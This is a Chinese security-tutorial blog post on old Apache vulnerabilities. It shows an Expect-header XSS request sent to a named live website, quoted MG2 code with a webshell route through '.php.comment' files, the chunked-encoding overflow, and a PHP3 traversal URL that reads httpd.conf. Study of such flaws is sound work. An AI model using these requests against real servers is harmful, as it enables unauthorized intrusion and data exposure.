现在的位置: 首页 > 综合 > 正文

Web安全实践(9)攻击apache

2012年07月02日 ⁄ 综合 ⁄ 共 4878字 ⁄ 字号 评论关闭


作者:玄魂

 

 

 

系列导航http://www.cnblogs.com/xuanhun/archive/2008/10/25/1319523.html

安全技术区http://space.cnblogs.com/group/group_detail.aspx?gid=100566 

前言

   web安全实践系列主要是对《黑客大曝光——web应用安全机密与解决方案(第二版)》的内容做的实践研究和部分编程实现。所以如果您能完全理解那本书可以跳过本文章。


这次提供的漏洞都是平时积累来的,但是只有很少的我具体实际过,时间和精力有限,更多的技术上的东西还希望大家提供并讨论。

正文

 

9.1Expect跨站漏洞

Apache在接收Expect这个HTTP报头会直接输出报头的错误信息,错误信息的内容并没有被转义。这个漏洞本来以为会随着apathe的升级而消失,但是在网上随便找了几个php的服务器,发现很多并没有升级,仍然存在问题。

对网址http://safesurf.china.cn/data_form.php做了一个简单测试。发送请求为:

GET /data_form.php HTTP/1.1

Host: safesurf.china.cn

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Expect: abcd

我在最后添加了一个Expect: abcd的请求。得到相应如下:

 

HTTP/1.x 417 Expectation Failed

Date: Wed, 12 Nov 2008 01:46:21 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.4

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

 

我们可以看到错误信息中的"Expect:abcd",是我们提交的请求。这时候就该考虑是不是存在跨站的漏洞,继续测试。

发送请求(注意最后的Expect请求)

GET /data_form.php HTTP/1.1

Host: safesurf.china.cn

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn

Accept-Encoding: gzip,deflate

Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Expect: <script language="javascript">alert('hello')</script>

得到响应:

HTTP/1.x 417 Expectation Failed

Date: Wed, 12 Nov 2008 01:53:34 GMT

Server: Apache/1.3.29 (Unix) PHP/4.3.4

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

 

证明该服务器是存在跨站漏洞的。对于跨站攻击我们以后会具体涉及,我也不是很清楚把具体的网址暴露出来是否合适?

9.2php文件名解析漏洞

以.php开头的文件名或者类似index.php.en,index.php.fr等都可以当做PHP解析。这是一个比较老的漏洞,援引网上的一篇文章做一下解释。

 

"MG2是在国外非常流行的一个PHP+HTML的图片管理程序,由于商业版被破解,程序流传甚广,
在google搜索关键字为"owered by MG2 v0.5.1"
最新版本存在着文件写入漏洞,可配和Apache漏洞直接得shell

includes/mg2_functions.php中addcomment()函数如下
function addcomment() {
$_REQUEST['filename'] = $this->charfix($_REQUEST['filename']);
$_REQUEST['input'] = $this->charfix($_REQUEST['input']);
$_REQUEST['email'] = $this->charfix($_REQUEST['email']);
$_REQUEST['name'] = $this->charfix($_REQUEST['name']);
$_REQUEST['input'] = strip_tags($_REQUEST['input'], "");
$_REQUEST['input'] = str_replace("\n","",$_REQUEST['input']);
$_REQUEST['input'] = str_replace("\r","",$_REQUEST['input']);
if ($_REQUEST['input'] != "" && $_REQUEST['name'] != "" && $_REQUEST['email'] != "") {
$this->readcomments("pictures/" . $_REQUEST['filename'] . ".comment");
$comment_exists = $this->select($_REQUEST['input'],$this->comments,3,1,0);
$comment_exists = $this->select($_REQUEST['name'],$comment_exists,1,1,0);
$comment_exists = $this->select($_REQUEST['email'],$comment_exists,2,1,0);
if (count($comment_exists) == 0) {
$this->comments[] = array(time(), $_REQUEST['name'], $_REQUEST['email'], $_REQUEST['input']);
$this->writecomments($_REQUEST['filename'] . ".comment");
........

漏洞很明显,可以自定义comment的文件名,如果你自定义的filename为".php",那么程序就会在
图片根目录下生成一个".php.comment"的文件,由于Apache的漏洞,该程序被当做php文件解析,webshell就到手了,
写了个利用程序如下:

提交后就会在图片根目录下生成一个含一句话木马的文件".php.comment"
[url=http://localhost/mg2/pictures/.php.comment?cmd=phpinfo]http://localhost/mg2/pictures/.php.comment?cmd=phpinfo[/url]();"

 

9.3分块(chunked)编码远程溢出漏洞    

这是在02年左右出现的一个漏洞,但是现在看来该漏洞仍然存在并危害着很多网站。

Apache在处理以分块(chunked)方式传输数据的HTTP请求时存在设计漏洞,远程攻击者可能利用此漏洞在某些Apache服务器上以Web服务器进程的权限执行任意指令或进行拒绝服务攻击。
分块编码(chunked encoding)传输方式是HTTP 1.1协议中定义的Web用户向服务器提交数据的一种方法,当服务器收到 chunked编码方式的数据时会分配一个缓冲区存放之,如果提交的数据大小未知,客户端会以一个协商好的分块大小向服务器提交数据。
Apache服务器缺省也提供了对分块编码(chunked encoding)支持。Apache使用了一个有符号变量储存分块长度,同时分配 了一个固定大小的堆栈缓冲区来储存分块数据。出于安全考虑,在将分块数据拷贝到缓冲区之前,Apache会对分块长度进行检查,如果分块长度大于缓冲区长 度,Apache将最多只拷贝缓冲区长度的数据,否则,则根据分块长度进行数据拷贝。然而在进行上述检查时,没有将分块长度转换为无符号型进行比较,因 此,如果攻击者将分块长度设置成一个负值,就会绕过上述安全检查,Apache会将一个超长(至少>0x80000000字节)的分块数据拷贝到缓 冲区中,这会造成一个缓冲区溢出。
对于Apache 2.0到2.0.36(含2.0.36),尽管存在同样的问题代码,但它会检测错误出现的条件并使子进程退出。
根据不同因素,包括受影响系统支持的线程模式的影响,本漏洞可导致各种操作系统下运行的Apache Web服务器拒绝服务。

 

The Retina Apache Chunked Scanner 是 eEye 公司开发的一款Apache 分块编码缓冲区溢出漏洞扫描软件,可同时扫描254个IP,如果它发现存在漏洞的IP,就会记录下来,系统管理员只要通过双击该IP,就可以获得该漏洞的修补方法.。

网上还可以找到关于这个漏洞的溢出程序和源代码,在Google中搜索"Apache Exploit",可以得到更多的信息。有了这两样东西,问题就简单多了。

另外需要说明的是如果我们使用这个扫描程序的时候不选择"show only。。。"那个选项的话,该软件可以告诉我们网段内的所有web服务器类型。

9.3 Php 3文件外泄漏洞

发现在使用了 PHP3 脚本的 Apache Web Server 中,存在一个安全漏洞。
通过 php 发送一个指定的 URL,就能使一个用户获得一个目标机上已知文件的读权限。成功的利用该漏洞,将导致敏感信息的泄露,为进一步的攻击提供了方便。
例如:(Windows 2000 + Apache 1.3.6 + PHP3)
提供下列 URL:
http://taget/index.php3.%5c../..%5cconf/httpd.conf
你将可以查看 httpd.conf 文件。

下面这些漏洞本人没做过任何实际操作,所以也无权发表心得,给出参考,希望大家能提供相关的实践经验和资料。

9.4错误日志转义序列注入漏洞

详见http://blog.ixpub.net/html/95/13151495-338483.html

9.5 MIME Boundary远程信息泄露漏洞

详见http://netsecurity.51cto.com/art/200508/5931.htm

9.6 ETag头远程信息泄露漏洞

详见http://netsecurity.51cto.com/art/200508/5931.htm

9.7 Mod_Auth_Any远程命令执行漏洞

详见http://www.nsfocus.net/vulndb/4774

9.8 mod_proxy_http模块中间响应拒绝服务漏洞

详见http://secunia.com/advisories/30621/

 

 

抱歉!评论已关闭.